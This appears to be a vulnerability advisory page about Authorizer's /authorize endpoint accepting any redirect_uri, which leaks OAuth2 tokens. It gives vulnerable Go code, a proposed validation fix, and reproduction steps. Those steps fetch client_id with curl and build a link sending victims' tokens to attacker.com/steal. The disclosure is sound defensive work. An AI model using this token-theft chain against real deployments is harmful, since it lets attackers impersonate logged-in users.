Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N상세 설명
Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
1redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) 2// ... no IsValidOrigin() call ... 3// response_type=token path (line ~263): 4if strings.Contains(redirectURI, "?") { 5 redirectURI = redirectURI + "&" + params 6} else { 7 redirectURI = redirectURI + "?" + params 8} 9handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URLCompare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
1# 1. Obtain client_id (no authentication required) 2CLIENT_ID=$(curl -s http://TARGET/graphql \ 3 -H "Content-Type: application/json" \ 4 -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") 5 6echo "client_id: $CLIENT_ID" 7 8# 2. Craft the malicious URL and send to victim (victim must be logged in) 9# When victim opens this URL, tokens are delivered to attacker.com10MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"11 12echo "Send to victim: $MALICIOUS_URL"13 14# 3. Attacker receives 302 redirect with all tokens:15# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...16 17# 4. Validate stolen token18curl -s http://TARGET/userinfo \19 -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"20# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}Impact
An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.
Proposed Fix
Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:
1// In authorize.go, after reading redirect_uri: 2if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { 3 handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ 4 "error": "invalid_request", 5 "error_description": "redirect_uri is not allowed", 6 }, http.StatusBadRequest) 7 return 8}AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.